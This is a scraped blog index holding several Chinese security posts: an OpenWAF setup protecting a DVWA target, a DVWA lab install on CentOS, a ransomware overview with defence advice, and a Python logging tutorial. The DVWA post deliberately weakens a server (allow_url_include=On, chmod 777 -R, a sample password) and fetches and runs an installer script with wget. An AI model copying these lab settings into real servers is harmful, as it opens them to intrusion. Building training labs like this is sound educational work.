localhost.localdomain nginx[42096]: nginx: [emerg] bind() to 0.0.0.0:80 failed (98: Address already in use) Apr 04 04:00:43 localhost.localdomain nginx[42096]: nginx: [emerg] bind() to 0.0.0.0:80 failed (98: Address already in use) Apr 04 04:00:44 localhost.localdomain nginx[42096]: nginx: [emerg] bind() to 0.0.0.0:80 failed (98: Address already in use) Apr 04 04:00:44 localhost.localdomain nginx[42096]: nginx: [emerg] still could not bind() 修改apache的端口\n1 2 3 vim /etc/httpd/conf/httpd.conf Listen 8080 systemctl restart httpd 将apache的端口改成8080后，再次启动nginx就可以看到OpenResty成功启动了。\n1 systemctl start nginx 二、配置OpenWAF的web防护 这边DVWA靶机的地址是http://192.168.1.24:8080/DVWA/ DVWA靶机的安装见另一篇博文《CentOS7+LAMP+DVWA靶机搭建》https://blog.csdn.net/fullbug/article/details/129879670 我们需要配置OpenResty+OpenWAF来对192.168.1.24:8080进行WEB防护 参考《轻松玩转OpenWAF之入门篇》及 《深入研究OpenWAF之nginx配置》\n1、nginx配置修改 在 nginx 的 http 级别添加如下两行：\n1 2 include /opt/OpenWAF/conf/twaf_main.conf; include /opt/OpenWAF/conf/twaf_api.conf; 要防护的 server 或 location 级别添加如下一行：\n1 include /opt/OpenWAF/conf/twaf_server.conf; OpenResty的nginx的配置文件在 /usr/local/openresty/nginx/conf/nginx.conf\n具体配置参考下图： 2、OpenWAF接入规则修改 修改/opt/OpenWAF/conf/twaf_access_rule.json文件 具体配置参考下图： 3、测试验证 这时候我们访问http://192.168.1.24/DVWA/ ，注意是没有带8080端口的，因为是通过OpenResty+OpenWAF来反向代理了127.0.0.1的8080端口，访问http://192.168.1.24/DVWA/ 是经过了OpenWAF防护的。 这时候我们开始通过SQL注入对DVWA的靶机进行SQL注入的攻击。 防护效果： 可以看到OpenWAF提示标识为攻击并记录，提示是有次SQL注入的攻击，并进行了防护。 接下来我们进行一次XSS的攻击 同样OpenWAF给出了XSS的攻击提示，并进行了防护。 至此，本文介绍了OpenResty+OpenWAF的安装，并通过配置对DVWA的靶机进行了WEB防护，通过SQL注入及XSS的攻击，验证了OpenWAF的效果。OpenResty+OpenWAF是开源的软WAF解决方案，安装和配置相对简单，对于中小企业的web防护来说不失为一个低成本的解决方案。\n作者博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2023-04-07-openresty-openwaf%E7%9A%84web%E9%98%B2%E6%8A%A4%E5%AE%9E%E6%88%98/","summary":"\u003cp\u003eOpenResty是一个基于 Nginx 与 Lua 的高性能 Web 平台，其内部集成了大量精良的 Lua 库、第三方模块以及大多数的依赖项。用于方便地搭建能够处理超高并发、扩展性极高的动态 Web 应用、Web 服务和动态网关。本文介绍通过OpenResty+OpenWAF来搭建软WAF的应用，用来防护DVWA的靶机，然后我们通过攻击DVWA的靶机来看一下OpenWAF的防护效果。\u003c/p\u003e","title":"OpenResty+OpenWAF的WEB防护实战"},{"content":"一、什么是DVWA Damn Vulnerable Web Application (DVWA)(译注：可以直译为：\u0026ldquo;该死的\u0026quot;不安全Web应用程序)，是一个编码差的、易受攻击的 PHP/MySQL Web应用程序。 它的主要目的是帮助信息安全专业人员在合法的环境中，练习技能和测试工具，帮助 Web 开发人员更好地了解如何加强 Web 应用程序的安全性，并帮助学生和教师在可控的教学环境中了解和学习 Web 安全技术。 DVWA的中文介绍见 https://github.com/digininja/DVWA/blob/master/README.zh.md 下载地址：git clone https://github.com/digininja/DVWA.git\n二、环境准备 1、LAMP环境安装 DVWA的安装依赖的软件包如下：\napache2 libapache2-mod-php mariadb-server mariadb-client php php-mysqli php-gd 就是依赖于LAMP环境，可以参考官方文档一个依赖包手工安装也可以通过下载lamp统一安装脚本一键安装。 安装 - LAMP一键安装包 运行 wget -c http://soft.vpser.net/lnmp/lnmp1.6.tar.gz \u0026amp;\u0026amp; tar zxf lnmp1.6.tar.gz \u0026amp;\u0026amp; cd lnmp1.6 \u0026amp;\u0026amp; ./install.sh lamp 一路回车选择默认项，稍等片刻，即可完成安装 如果是手工安装：yum install -y httpd php php-mysql php-gd mariadb-server mariadb\n三、安装DVWA 1、下载DVWA的软件包 进入到默认的web发布目录\n1 2 cd /var/www/html git clone https://github.com/digininja/DVWA.git 直接通过地址访问DVWA 他会提示需要将config/config.inc.php.dist复制成config/config.inc.php并配置环境\n1 cp config.inc.php.dist config.inc.php 2、配置数据库 1 vim config.ini.php 找到数据库的配置信息\n1 2 3 4 5 6 $_DVWA = array(); $_DVWA[ \u0026#39;db_server\u0026#39; ] = \u0026#39;127.0.0.1\u0026#39;; $_DVWA[ \u0026#39;db_database\u0026#39; ] = \u0026#39;dvwa\u0026#39;; $_DVWA[ \u0026#39;db_user\u0026#39; ] = \u0026#39;dvwa\u0026#39;; $_DVWA[ \u0026#39;db_password\u0026#39; ] = \u0026#39;p@ssw0rd\u0026#39;; $_DVWA[ \u0026#39;db_port\u0026#39;] = \u0026#39;3306\u0026#39;; 根据config.inc.php的数据库配置信息配置数据库，注意不要用root来访问数据库。 先用客户端工具创建dvwa的数据库，再创建dvwa的用户\n1 2 grant all on dvwa.* to \u0026#39;dvwa\u0026#39;@\u0026#39;localhost\u0026#39; identified by \u0026#39;p@ssw0rd\u0026#39; with grant option; flush privileges; 登录数据库查看\n1 2 mysql -u dvwa -p show databases; 3、修改php.ini的配置 再次访问DVWA 这里提示要修改php.ini的配置将 allow_url_fopen=On 和allow_url_include=On。\n找到环境的php.ini我这里是在/etc/php.ini进行修改，不要修改/var/www/html/DVWA/php.ini中的配置了。 配置好后重启apache\n1 systemctl restart httpd 刷新浏览器，可以看到红色的Disabled告警消失了。 reCAPTCHA key: Missing 这个告警是因为reCAPTCHA没有配置，这个需要去谷歌的网站申请公钥和私钥。可以不用管\n1 2 3 4 5 # ReCAPTCHA settings # Used for the \u0026#39;Insecure CAPTCHA\u0026#39; module # You\u0026#39;ll need to generate your own keys at: https://www.google.com/recaptcha/admin $_DVWA[ \u0026#39;recaptcha_public_key\u0026#39; ] = \u0026#39;\u0026#39;; $_DVWA[ \u0026#39;recaptcha_private_key\u0026#39; ] = \u0026#39;\u0026#39;; 1 2 chmod 777 -R hackable chmod 777 -R config 4、创建数据 配置完后点击“Create/Reset Database”\n5、登录靶机 DVWA的默认用户名和密码是admin /password 登录成功后就可以开始进行靶机的实验了。 后续我们将通过Open-WAF来搭建一个WAF来防护这个靶机感受一下软waf的防护情况。\n作者博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2023-03-31-centos7-lamp-dvwa%E9%9D%B6%E6%9C%BA%E6%90%AD%E5%BB%BA/","summary":"\u003ch2 id=\"一什么是dvwa\"\u003e一、什么是DVWA\u003c/h2\u003e\n\u003cp\u003eDamn Vulnerable Web Application (DVWA)(译注：可以直译为：\u0026ldquo;该死的\u0026quot;不安全Web应用程序)，是一个编码差的、易受攻击的 PHP/MySQL Web应用程序。 它的主要目的是帮助信息安全专业人员在合法的环境中，练习技能和测试工具，帮助 Web 开发人员更好地了解如何加强 Web 应用程序的安全性，并帮助学生和教师在可控的教学环境中了解和学习 Web 安全技术。\nDVWA的中文介绍见 \u003ca href=\"https://github.com/digininja/DVWA/blob/master/README.zh.md\"\u003ehttps://github.com/digininja/DVWA/blob/master/README.zh.md\u003c/a\u003e\n下载地址：git clone \u003ca href=\"https://github.com/digininja/DVWA.git\"\u003ehttps://github.com/digininja/DVWA.git\u003c/a\u003e\u003c/p\u003e","title":"CentOS7+LAMP+DVWA靶机搭建"},{"content":"\n一、什么是勒索病毒 勒索病毒，是一种新型电脑病毒，伴随数字货币兴起，主要以邮件、程序木马、网页挂马、服务器入侵、捆绑软件等多种形式进行传播，一旦感染将给用户带来无法估量的损失。如果遭受勒索病毒攻击，将会使绝大多数文件被加密算法加密，并添加一个特殊的后缀，用户无法读取原文件内容，被感染者一般无法解密，必须拿到解密的私钥才有可能无损还原被加密文件。而拿到解密的私钥，通常需要向攻击者支付高昂的赎金，这些赎金必须是通过数字货币支付，一般无法溯源，因此极易造成严重损失。\n一般被勒索病毒感染后，将导致重要文件无法读取、关键数据被损坏、计算机被锁死无法正常使用等情况；为了指引被感染者缴纳赎金，勒索病毒还会在桌面等明显位置生成勒索提示文件，被感染者需要通过缴纳高额赎金才能获取解密密钥恢复计算机系统和数据文件的正常使用，多数情况即使缴纳了高额的赎金也未必能正常恢复数据。因此，勒索病毒具有数据恢复代价大和数据恢复可能性极低的特点。\n二、勒索病毒传播路径 常见勒索病毒传播途径包括：\n网站挂马。用户浏览挂有木马病毒的网站，上网终端计算机系统极可能被植入木马并感染上勒索病毒。 邮件传播。邮件传播是目前互联网上常见的病毒传播方式。攻击者通过利用当前热门字样，在互联网上撒网式发送垃圾邮件、钓鱼邮件，一旦收件人点开带有勒索病毒的链接或附件，勒索病毒就会在计算机后台静默运行，实施勒索。 漏洞传播。通过计算机操作系统和应用软件的漏洞攻击并植入病毒是近年来流行的病毒传播方式。最典型的案例是2017年在国内泛滥的WannaCry大规模勒索事件，攻击者正是利用微软445端口协议漏洞，进行感染传播网内计算机。 捆绑传播。攻击者将勒索病毒与其他软件尤其是盗版软件、非法破解软件、激活工具进行捆绑，从而诱导用户点击下载安装，并随着宿主文件的捆绑安装进而感染用户的计算机系统。 介质传播。攻击者通过提前植入或通过交叉使用感染等方式将携有勒索病毒的U盘、光盘等介质进行勒索病毒的移动式传播。此种传播途径往往发生在文印店、公共办公区域等高频交叉使用可移动存储介质的场所，也可能通过广告活动派发、街区丢弃等方式实现诱导用户使用携带勒索病毒的U盘、光盘。携带勒索病毒的光盘、U盘一旦接入计算机，勒索病毒即可能随着其自动运行或用户点击运行导致计算机被感染。 三、勒索病毒防护难点 教育、企业、制造业、医疗、政府等行业由于数据重要性和较好的经济能力，已经成为勒索团队的重点攻击目标。以下是勒索病毒常见的攻击行为。 从勒索病毒的攻击行为来看，勒索病毒的防护存以下几个主要难点：\n勒索病毒变种多样 ：对程序 / 脚本的加壳、混淆操作，已经有一套相当成熟的自动化流程，能够快速对病毒进行变种，从而绕过传统静态防护。 边界突破手段多样：包括但不限于 RDP 爆破、SMB 爆破、漏洞利用、钓鱼邮件等等，其中爆破手段是最常使用的入侵手法。 防御规避手段多样：如无文件攻击、白进程利用、卸载安全服务等，从运营数据看 , 采用黑客工具直接卸载终端安全服务、利用白进程进行加密的绕过手段是最为常见。 勒索病毒识别精准度不足：部分终端防护可以识别出“病毒”，但不能进一步识别出“勒索病毒”，未引起足够重视，导致后续攻击成功。 四、常见的勒索病毒 1、GlobeImposter 勒索病毒 Globelmposter3.0家族的变种采用RSA+AES算法加密，目前该勒索病毒加密的文件暂无解密工具，文件被加密后会被加上Ox4444、China4444、Help4444、Rat4444 、Tiger4444 、Rabbit4444、Dragon4444 、Snake4444 、Horse4444、Goat4444 、Monkey4444、Rooster4444、Dog4444等后缀。在被加密的目录下会生成一个名为”HOW_TO_BACK_FILES”的txt文件，显示受害者的个人ID序列号以及黑客的联系方式等。\nGlobeImposter病毒本身不具备传播性。主要通过垃圾邮件和RDP暴破植入传播。\n2、GandCrab 勒索病毒 GandCrab勒索病毒于2018年1月面世以来，短短一年内历经多次版本更新，目前最新的版本为V5。该病毒利用多种方式对企业网络进行攻击传播，受感染主机上的数据库、文档、图片、压缩包等文件将被加密，若没有相应数据或文件的备份，将会影响业务的正常运行。从2018年9月份V5版本面世以来，GandCrab出现了包括了5.0、5.0.2、5.0.3、5.0.4以及最新的5.0.5多个版本的变种。病毒采用Salsa20和RSA-2048算法对文件进行加密，并修改文件后缀为.GDCB、.GRAB、.KRAB或5-10位随机字母，勒索信息文件为GDCB-DECRYPT.txt、KRAB-DECRYPT.txt、[5-10随机字母]-DECRYPT.html\\txt，并将感染主机桌面背景替换为勒索信息图片。\nGandCrab病毒家族主要通过RDP暴力破解、钓鱼邮件、捆绑恶意软件、僵尸网络以及漏洞利用传播。病毒本身不具有蠕虫传播能力，但会通过枚举方式对网络共享资源进行加密，同时攻击者往往还会通过内网人工渗透方式，利用口令提取、端口扫描、口令爆破等手段对其他主机进行攻击并植入该病毒。主要影响Windows 系统\n3、Satan 变种病毒 撒旦（Satan）勒索病毒最开始可以追溯到2017年1月，当时病毒作者提供一个门户网站（RaaS，勒索软件即服务）允许任何人注册和创建撒旦勒索软件的自定义版本。 2017年11月左右，撒旦开发者开始更新勒索软件的计划，以更好地适应这些趋势。他们采取的第一步是在Satan程序中加入EternalBlue SMB漏洞的攻击和扫描模块。添加此漏洞意味着在撒旦感染计算机后，勒索软件将使用EternalBlue扫描本地网络，查找具有过时SMB服务的计算机并感染它们，从而最大限度地提高攻击效果。 2018年5月底出现了撒旦(Satan)勒索病毒的最新的变种，它不仅仅利用了永恒之蓝漏洞，还利用了多个WEB相关的漏洞进行传播。 2018年10月底MalwareHunterTeam发现了一款新型的Satan勒索病毒——DBGer勒索病毒。其属于撒旦(Satan)勒索病毒的最新的变种样本，不仅仅利用了之前的一些安全漏洞，同时还加上了Mimikatz的功能。其加密后的文件后缀名变为了.dbger。 2018年11月初，发现部分金融客户出现linux和windows跨平台的远控病毒样本，其样本行为与本次捕获样本极其相似。 2018年11月底，国内金融厂商开始出现Satan的最新变种，可以在Linux和Windows平台同时进行传播。将本地文件进行勒索加密，将加密后的文件名修改为.lucky。同时在Linux和Windows平台进行蠕虫式传播。\nSatan病毒家族通过下面8种通用漏洞进行传播。目前发现Satan在linux平台会进行内部IP遍历+端口列表的方式进行漏洞扫描。在windows平台会以IP列表+端口列表的方式进行漏洞扫描。 JBoss反序列化漏洞(CVE-2013-4810) JBoss默认配置漏洞(CVE-2010-0738) Tomcat任意文件上传漏洞（CVE-2017-12615） Tomcat web管理后台弱口令爆破 Weblogic WLS 组件漏洞（CVE-2017-10271） Windows SMB远程代码执行漏洞MS17-010 Apache Struts2远程代码执行漏洞S2-045 Apache Struts2远程代码执行漏洞S2-057\n4、Sodinoki 勒索病毒 业内发现邮件附件中的恶意样本，经分析，样本为2019年6月新出的sodinokibi勒索病毒。该病毒以钓鱼邮件来传播，邮件附件中包含伪装成word文档的可执行文件，诱导员工打开附件，加密主机文件。 Sodinokibi勒索病毒暂无解密工具，可先将被加密的重要文件、勒索信息文件备份保存，以待将来有解密工具时解密。\n五、勒索病毒发展趋势 随着勒索技术的发展，勒索病毒呈现加密速度更快，跨平台发展的趋势。\n加密方式更多的转向“间歇性加密”，加密速度更快 2021 年中旬，LockFile 勒索软件是首批使用间歇性加密来逃避检测机制的主要勒索软件系列之一，该勒索软件每隔 16 个字节对文件进行加密。此后，越来越多的勒索软件操作加入了这一趋势。如 BlackCat(ALPHV)、PLAY、Qyick、Agenda、Black Basta 等。间歇性加密指对受害者文件进行部分加密，这种加密方法不仅可以大大提高加密速度也可以帮助勒索软件运营商逃避基于统计分析的勒索软件检测技术。\n编程语言更多的转向Rust，实现跨平台勒索 近年，越来越多的勒索软件编程语言转向 Rust 语言。该语言不仅具有与 C/C++ 类似的性能开发优势，而且具有更好的内存管理实现并发编程以避免内存错误，此外在静态分析工具低检出率方面也存在优势。BlackCat是第一个使用Rust的专业/商业化分布式恶意软件家族，也是迄今为止最繁荣的。 Rust 是一种跨平台语言，使威胁行为者能够轻松地为 Windows 和 Linux 等不同操作系统创建定制的恶意软件。现在有不少于 10 个勒索软件家族推出了针对 Linux 系统的版本，其中包括 REvil 的 Linux 版本、DarkSide、Dark Angels 、BlackMatter 以及 Defray777 等家族。勒索团伙倾向于以企业为目标，随着越来越多的组织将业务迁移到 VM 以简化设备管理和提高资源利用效率，将攻击目标转向 Linux 平台具有良好的商业意义，因为这样做可以让他们以最小的努力加密多个服务器。\n六、勒索病毒防护建议： 定期做好重要数据、文件的备份工作； 及时更新升级操作系统和应用软件，修复存在的中高危漏洞； 安装正版杀毒软件并及时升级病毒库，定期进行全面病毒扫描查杀； 在系统中禁用U盘、移动硬盘、光盘的自动运行功能，不要使用/打开来路不明的U盘、光盘、电子邮件、网址链接、文件； 避免使用弱口令，为每台服务器和终端设置不同口令，且采用大小写字母、数字、特殊字符混合的高复杂度组合结构，口令位数应8位以上； 不要在网上下载安装盗版软件、非法破解软件以及激活工具。 七、勒索病毒应急处置流程 1、 检测阶段 如何发现勒索病毒，可通过如下两个场景进行识别：\n场景一：感染但未加密 从攻击者渗透进入内部网络的某一台主机到执行加密行为往往有一段时间，如果在这段时间能够做出响应，完全可以避免勒索事件的发生。如果有以下情况，可能是处于感染未加密状态： 监测设备告警 如果使用了监测系统进行流量分析、威胁监测，系统产生大量告警日志，例如“SMB 远程溢出攻击”、“弱口令爆破”等，可能是病毒在尝试扩散。 资源占用异常 病毒会伪装成系统程序，释放攻击包、扫描局域网络 445 端口等占用大量系统资源，当发现某个疑似系统进程的进程在长期占用 CPU 或内存，有可能是感染病毒。 场景二：感染已加密 如果有以下情况，可能是处于感染且已加密状态： 统一的异常后缀 勒索病毒执行加密程序后会加密特定类型的文件，不同的勒索病毒会加密几十到几百种类型的文件，基本都会包括常见的文档、图片、数据库文件。当文件夹下文件变成如下统一异常不可用后缀，就是已经被加密了。 勒索信或桌面被篡改 勒索病毒加密文件的最终目的是索要赎金，所以会在系统明显位置如桌面上留下文件提示，或将勒索图片更改为桌面。勒索信绝大多数为英文，引导被勒索的用户交赎金。 2、抑制阶段 发现勒索病毒后如何进行隔离：\n采取可行措施进行隔离，避免影响其它主机（如断网隔离） 通过边界控制设备，防止网络区域间相互影响 防止勒索病毒扩散：\n采取及时的补救加固措施（安全加固） 相关漏洞的扫描修补与跟踪 配置核查 3、处置阶段 信息收集：\nIT管理人员截图取证主机中的勒索信息文件 截图取证被加密的时间和文件后缀名 检查服务器开放端口情况、补丁更新情况，并截图取证 检查服务器当日的安全日志，截图取证或导出当天日志 4、 恢复阶段 业务恢复：\n从备份中恢复损坏的数据 调整可能影响业务正常运转的策略 文件解密：\n付费风险：部分中招主机可能包含关键信息，企业处于业务考虑可能会考虑通过比特币付款，但不能确认付款可以恢复数据，建议企业慎重考虑。 解密工具：可查看安全厂商已发布部分勒索病毒的解密工具。 5、安全加固 通常应从如下方面进行加固：\n多数勒索软件会利用RDP(远程桌面协议)暴力破解传播，在不影响业务的前提下避免3389端口对外开放。利用IPS、防火墙等设备对3389端口进行防护 开启windows自身的防火墙尽量关闭3389、445、139、135等不用的高危端口 在计算机中配置账户锁定策略，连续登陆失败即锁定账户 要求每台服务器设置唯一口令，且禁止设置弱口令（复杂度要求采用大小写字母、数字、特殊符号混合） 对员工进行安全意识培训，避免打开陌生邮件的附件、下载破解版软件和运行来源不明的程序 定时对重要数据进行异地备份，防止数据破坏和丢失 及时更新系统及应用版本，及时打漏洞补丁 及时安装防病毒软件，并更新到最新的病毒库和引擎 定时通过扫描器做专项口令排查，可排查通用口令和弱口令 部分公开的勒索相关解密工具 公开的勒索病毒相关解密工具（Free Ransomware Decryption Tools），可供应急查询使用： 1、kaspersky Free Ransomware Decryptors - Kaspersky Lab https://noransom.kaspersky.com/ 2、avast Free Ransomware Decryption Tools | Unlock Your Files | Avast https://www.avast.com/ransomware-decryption-tools 3、avg Free Ransomware Decryption Tools | Unlock Your Files | AVG https://www.avg.com/en-us/ransomware-decryption-tools 4、No More Ransom The No More Ransom Project https://www.nomoreransom.org/en/decryption-tools.html 5、Bitdefender Free Tools – Bitdefender Labs https://labs.bitdefender.com/category/free-tools/ 6、MalwareHunter ID Ransomware https://id-ransomware.malwarehunterteam.com/index.php 7、McAfee McAfee Ransomware Recover (Mr2) | McAfee Free Tools https://www.mcafee.com/enterprise/en-us/downloads/free-tools/ransomware-decryption.html 8、 Trend Micro Using the Trend Micro Ransomware File Decryptor Tool https://success.trendmicro.com/portal_kb_articledetail?solutionid=1114221\n博客文章：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2023-03-23-%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E4%B9%8B%E8%AE%A4%E8%AF%86%E5%8B%92%E7%B4%A2%E7%97%85%E6%AF%92/","summary":"\u003cp\u003e\u003cimg alt=\"勒索病毒\" loading=\"lazy\" src=\"http://image2.ishareread.com/images/2023/20230323/%E5%8B%92%E7%B4%A2%E7%97%85%E6%AF%92.png\"\u003e\u003c/p\u003e\n\u003ch2 id=\"一什么是勒索病毒\"\u003e一、什么是勒索病毒\u003c/h2\u003e\n\u003cp\u003e勒索病毒，是一种新型电脑病毒，伴随数字货币兴起，主要以邮件、程序木马、网页挂马、服务器入侵、捆绑软件等多种形式进行传播，一旦感染将给用户带来无法估量的损失。如果遭受勒索病毒攻击，将会使绝大多数文件被加密算法加密，并添加一个特殊的后缀，用户无法读取原文件内容，被感染者一般无法解密，必须拿到解密的私钥才有可能无损还原被加密文件。而拿到解密的私钥，通常需要向攻击者支付高昂的赎金，这些赎金必须是通过数字货币支付，一般无法溯源，因此极易造成严重损失。\u003c/p\u003e","title":"网络安全之认识勒索病毒"},{"content":"一、什么是日志 在《网络安全之认识日志采集分析审计系统》中我们认识了日志。日志数据的核心就是日志消息或日志，日志消息是计算机系统、设备、软件等在某种刺激下反应生成的东西。\n日志数据（log data）就是一条日志消息的内在含义，用来告诉你为什么生成日志消息的信息。日志（log）指用于展示某些事件全貌的日志消息的集合。\n二、为什么要写日志 日志是对软件执行时所发生事件的一种追踪方式。软件开发人员对他们的代码添加日志调用，借此来指示某事件的发生。一个事件通过一些包含变量数据的描述信息来描述。对于软件系统来说，健全的日志记录是程序调试、故障定位、事件追溯的有效手段。\n日志通用的几种类型：\n信息（Info）:告诉用户和管理员发生了一些没有风险的事情。 调试（Debug）:在应用程序代码运行时生成调试信息，给软件开发人员提供故障检测和定位问题的帮助。 警告（Warning）:缺少需要的文件、参数、数据，但又不影响系统运行时生成警告。 错误（Error）:传达在计算机系统重出现的各种级别的错误。许多错误消息只能给出为什么出错的起点，要寻找出导致错误发生的根本原因还需要进一步的调查。 三、Python日志logging模块实战 在进行Python程序开发时，Python提供了logging模块，能够很好的帮助开发人员很方便的的记录日志信息。\n对于简单的日志使用来说日志功能提供了一系列便利的函数。它们是 debug()，info()，warning()，error() 和 critical()。想要决定何时使用日志，请看下表，其中显示了对于每个通用任务集合来说最好的工具。\n你想要执行的任务 此任务的最好的工具 对于命令行或程序的应用，结果显示在控制台。 print() 在对程序的普通操作发生时提交事件报告(比如：状态监控和错误调查) logging.info() 函数(当有诊断目的需要详细输出信息时使用 logging.debug() 函数) 提出一个警告信息基于一个特殊的运行时事件 warnings.warn() 位于代码库中，该事件是可以避免的，需要修改客户端应用以消除告警logging.warning() 不需要修改客户端应用，但是该事件还是需要引起关注 对一个特殊的运行时事件报告错误 引发异常 报告错误而不引发异常(如在长时间运行中的服务端进程的错误处理) logging.error(), logging.exception() 或 logging.critical() 分别适用于特定的错误及应用领域 日志功能应以所追踪事件级别或严重性而定。各级别适用性如下（以严重性递增）：\n级别 何时使用 DEBUG 细节信息，仅当诊断问题时适用。 INFO 确认程序按预期运行。 WARNING 表明有已经或即将发生的意外（例如：磁盘空间不足）。程序仍按预期进行。 ERROR 由于严重的问题，程序的某些功能已经不能正常执行 CRITICAL 严重的错误，表明程序已不能继续执行 默认的级别是 WARNING，意味着只会追踪该级别及以上的事件，除非更改日志配置。\n所追踪事件可以以不同形式处理。最简单的方式是输出到控制台。另一种常用的方式是写入磁盘文件。\nPython的logging库采用模块化方法，并提供了几类组件：记录器，处理程序，过滤器和格式化程序。\n记录器（Logger）：提供应用程序代码直接使用的接口。 处理器（Handler）：将日志记录（由记录器创建）发送到适当的目的地。 筛选器（Filter）：提供了更细粒度的功能，用于确定要输出的日志记录。 格式器（Formatter）：程序在最终输出日志记录的内容格式。 logging的工作流程：以记录器Logger为对象，设置合适的处理器Handler，辅助以筛选器Filter、格式器Formatter，设置日志级别以及常用的方法，最终输出理想的日志记录给到指定目标 一个Logger可以包含多个Handler； 每个Handler可以设置自己的Filter和Formatter； 记录器和处理器中的日志事件信息流程如下图所示： 接下来我们通过几个简单的应用场景来进行日志记录实战\n1、最简单的日志记录 main.py\n1 2 3 4 5 6 7 8 9 10 11 12 import logging def print_hi(name): logging.debug(\u0026#39;this is print_hi debug\u0026#39;) logging.info(\u0026#39;this is print_hi info\u0026#39;) logging.warning(\u0026#39;this is print_hi warning\u0026#39;) logging.error(\u0026#39;this is print_hi error\u0026#39;) logging.critical(\u0026#39;this is print_hi critical\u0026#39;) print(f\u0026#39;Hi print_hi, {name}\u0026#39;) if __name__ == \u0026#39;__main__\u0026#39;: print_hi(\u0026#39;XieJava\u0026#39;) 结果如下： 这里体现了两个问题： 1.通过print()在控制台打印的日志，比logging打印的日志提前打印显示，说明日志记录是多线程的。在平时日志调试跟踪的时候注意这一点，print()的信息有时会打印在logging前有时会在logging后。\n2.debug和info的日志没有打印出来，说明logging默认的日志级别是waring。 如果要设置改变默认的日志级别可以通过配置来设置日志级别如：level=logging.DEBUG\n2、设置日志级别 1 2 3 4 5 6 7 8 9 10 11 12 13 14 import logging logging.basicConfig(level=logging.DEBUG) #设置日志级别 def print_hi(name): logging.debug(\u0026#39;this is print_hi debug\u0026#39;) logging.info(\u0026#39;this is print_hi info\u0026#39;) logging.warning(\u0026#39;this is print_hi warning\u0026#39;) logging.error(\u0026#39;this is print_hi error\u0026#39;) logging.critical(\u0026#39;this is print_hi critical\u0026#39;) print(f\u0026#39;Hi print_hi, {name}\u0026#39;) if __name__ == \u0026#39;__main__\u0026#39;: print_hi(\u0026#39;XieJava\u0026#39;) 这下从DEBUG到CRITICAL级别的都打印出来了。\n3、设置日志显示格式 默认的日志打印显示的格式是， 日志级别：logger实例名称（默认是root）：日志消息内容 如这里显示的是：\n1 2 3 4 5 DEBUG:root:this is print_hi debug INFO:root:this is print_hi info WARNING:root:this is print_hi warning ERROR:root:this is print_hi error CRITICAL:root:this is print_hi critical 在真实使用的场景下，一般都要显示日志的时间，我们可以通过设置日志显示格式来调整我们需要显示的日志格式和内容。\n1 2 LOG_FORMAT = \u0026#34;%(asctime)s - %(levelname)s %(name)s %(filename)s [line:%(lineno)d] - %(message)s\u0026#34; logging.basicConfig(format=LOG_FORMAT,level=logging.DEBUG) 这里设置了日志发生时间、日志级别、logger实例名称、日志发生的文件名、日志发生所在的行、日志消息内容。 更多的logRecord属性如下：\n属性名称 格式 描述 args 此属性不需要用户进行格式化。 合并到 msg 以产生 message 的包含参数的元组，或是其中的值将被用于合并的字典（当只有一个参数且其类型为字典时）。 asctime %(asctime)s 表示 LogRecord 何时被创建的供人查看时间值。 默认形式为 \u0026lsquo;2003-07-08 16:49:45,896\u0026rsquo; （逗号之后的数字为时间的毫秒部分）。 created %(created)f LogRecord 被创建的时间（即 time.time() 的返回值）。 exc_info 此属性不需要用户进行格式化。 异常元组（例如 sys.exc_info）或者如未发生异常则为 None。 filename %(filename)s pathname 的文件名部分。 funcName %(funcName)s 函数名包括调用日志记录。 levelname %(levelname)s 消息文本记录级别（\u0026lsquo;DEBUG\u0026rsquo;，\u0026lsquo;INFO\u0026rsquo;，\u0026lsquo;WARNING\u0026rsquo;，\u0026lsquo;ERROR\u0026rsquo;，\u0026lsquo;CRITICAL\u0026rsquo;） levelno %(levelno)s 消息数字的记录级别 (DEBUG, INFO, WARNING, ERROR, CRITICAL) lineno %(lineno)d 发出日志记录调用所在的源行号（如果可用）。 message %(message)s 记入日志的消息，即 msg % args 的结果。 这是在发起调用 Formatter.format() 时设置的。 module %(module)s 模块 (filename 的名称部分)。 msecs %(msecs)d LogRecord 被创建的时间的毫秒部分。 msg 此属性不需要用户进行格式化。 在原始日志记录调用中传入的格式字符串。 与 args 合并以产生 message，或是一个任意对象 (参见 使用任意对象作为消息)。 name %(name)s 用于记录调用的日志记录器名称。 pathname %(pathname)s 发出日志记录调用的源文件的完整路径名（如果可用）。 process %(process)d 进程ID（如果可用） processName %(processName)s 进程名（如果可用） relativeCreated %(relativeCreated)d 以毫秒数表示的 LogRecord 被创建的时间，即相对于 logging 模块被加载时间的差值。 stack_info 此属性不需要用户进行格式化。 当前线程中从堆栈底部起向上直到包括日志记录调用并引发创建当前记录堆栈帧创建的堆栈帧信息（如果可用）。 thread %(thread)d 线程ID（如果可用） threadName %(threadName)s 线程名（如果可用） 4、记录日志到日志文件 logging默认是显示在控制台，在真实生产环境肯定时需要将日志记录到日志文件的。logging也是可以通过配置很方便的将日志记录到日志文件。\n1 2 LOG_FORMAT = \u0026#34;%(asctime)s - %(levelname)s %(name)s %(filename)s [line:%(lineno)d] - %(message)s\u0026#34; logging.basicConfig(filename=\u0026#39;log.log\u0026#39;,format=LOG_FORMAT,level=logging.DEBUG) 输出到日志文件 将日志输出到日志文件，如果是日志量非常大，在实际生产环境经常碰到的是要对日志文件进行分隔，根据日志文件的大小或日期来分割生成多个日志文件。 这里介绍通过日志文件大小分割和通过日期来分割日志文件。\n1.通过日志文件大小分割 RotatingFileHandler 日志记录到文件中，且支持指定日志文件大小，备份文件数量\n1 logging.handlers.RotatingFileHandler(filename, mode=\u0026#39;a\u0026#39;, maxBytes=0, backupCount=0, encoding=None, delay=False) maxBytes：日志文件大小，单位为字节 backupCount：备份文件数量\n1 2 3 LOG_FORMAT = \u0026#34;%(asctime)s - %(levelname)s %(name)s %(filename)s [line:%(lineno)d] - %(message)s\u0026#34; rfh=logging.handlers.RotatingFileHandler(filename=\u0026#39;log.log\u0026#39;,encoding=\u0026#39;UTF-8\u0026#39;, maxBytes=1024, backupCount=2) logging.basicConfig(format=LOG_FORMAT,level=logging.DEBUG,handlers=[rfh]) 这里设置的是当文件超过1024bytes就会对文件进行分割，备份文件数量为2，得到log.log.1、log.log.2，当log.log.2写满时又回循环写到log.log中。 